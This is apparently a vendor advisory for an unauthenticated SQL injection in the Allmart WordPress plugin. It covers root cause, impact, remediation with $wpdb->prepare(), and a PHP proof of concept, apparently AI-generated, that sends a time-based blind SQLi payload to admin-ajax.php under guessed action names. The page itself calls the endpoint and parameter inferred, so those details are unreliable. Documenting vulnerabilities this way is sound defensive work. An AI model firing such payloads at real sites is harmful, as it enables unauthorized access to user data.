Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69304: Allmart <= 1.1 – Unauthenticated SQL Injection (allmart-core)

Plugin allmart-core
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.1
Patched Version
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69304 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Allmart WordPress plugin, version 1.1. The flaw exists in a plugin component that processes user-supplied parameters without proper sanitization. Attackers can exploit this to execute arbitrary SQL commands, leading to data extraction. The CVSS score of 7.5 (High) reflects a network-accessible attack with no authentication or user interaction required, resulting in high confidentiality impact.

Atomic Edge research infers the root cause is improper neutralization of special elements in an SQL command (CWE-89). The description states insufficient escaping and lack of sufficient preparation on an existing SQL query. This indicates the plugin likely constructs SQL queries by directly concatenating unsanitized user input. The vulnerable code path is not confirmed via source code review, but the CWE classification strongly suggests the use of `$wpdb->query()` or similar methods without parameterized statements or proper use of `$wpdb->prepare()`.

Exploitation likely occurs via a public-facing WordPress hook. Common vectors for unauthenticated SQL injection in plugins include AJAX endpoints registered with `wp_ajax_nopriv_` or REST API endpoints. Given the plugin slug ‘allmart-core’, a probable attack vector is a POST or GET request to `/wp-admin/admin-ajax.php` with an `action` parameter like `allmart_core_action`. The malicious SQL payload would be supplied in another parameter, such as `id` or `slug`. Attackers can use UNION-based or time-based blind SQL injection techniques to extract data from the WordPress database.

Effective remediation requires implementing proper input validation and using parameterized queries. The fix should replace direct string concatenation in SQL statements with the WordPress `$wpdb->prepare()` function. All user-supplied variables must be passed as parameters to this function. Alternatively, using higher-level `$wpdb` methods like `$wpdb->get_row()` with prepared statements would also neutralize the threat. Input validation should verify expected data types (e.g., integers) before database operations.

Successful exploitation allows unauthenticated attackers to extract sensitive information from the database. This includes WordPress user credentials (hashed passwords), personally identifiable information, and other private site data stored in plugin-specific tables. While the CVSS vector indicates no direct impact on integrity or availability (I:N/A:N), the complete compromise of database confidentiality can facilitate further attacks, such as password cracking or session hijacking.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69304 - Allmart <= 1.1 - Unauthenticated SQL Injection
<?php
/**
 * Proof of Concept for CVE-2025-69304.
 * This script attempts to exploit an unauthenticated SQL Injection in the Allmart plugin.
 * The exact endpoint and parameter are inferred from common WordPress plugin patterns.
 * Assumptions:
 *   1. The vulnerable endpoint is `/wp-admin/admin-ajax.php`.
 *   2. The AJAX action name contains the plugin slug 'allmart_core'.
 *   3. A vulnerable parameter accepts numeric or string input for SQL injection.
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CONFIGURE THIS

// Common inferred action names based on plugin slug 'allmart-core'
$possible_actions = ['allmart_core_get_data', 'allmart_core_ajax', 'allmart_core_action'];
// Inferred vulnerable parameter name
$vuln_param = 'id';

// A simple time-based blind SQL injection payload to confirm vulnerability.
// This payload causes a 5-second delay if the database is MySQL/MariaDB.
$payload = "1' AND SLEEP(5) AND '1'='1";

$headers = [
    'User-Agent: Atomic Edge PoC',
    'Accept: */*',
    'Content-Type: application/x-www-form-urlencoded',
];

foreach ($possible_actions as $action) {
    $post_data = http_build_query([
        'action' => $action,
        $vuln_param => $payload,
    ]);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15); // Increased timeout to detect sleep
    
    $start_time = microtime(true);
    $response = curl_exec($ch);
    $end_time = microtime(true);
    $elapsed = $end_time - $start_time;
    
    curl_close($ch);
    
    if ($elapsed >= 5) {
        echo "[+] Potential vulnerability confirmed with action '{$action}'. Response delayed by {$elapsed} seconds.n";
        echo "[+] Response snippet: " . substr($response, 0, 200) . "n";
        break;
    } else {
        echo "[-] Action '{$action}' did not cause a delay (response time: {$elapsed}s).n";
    }
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School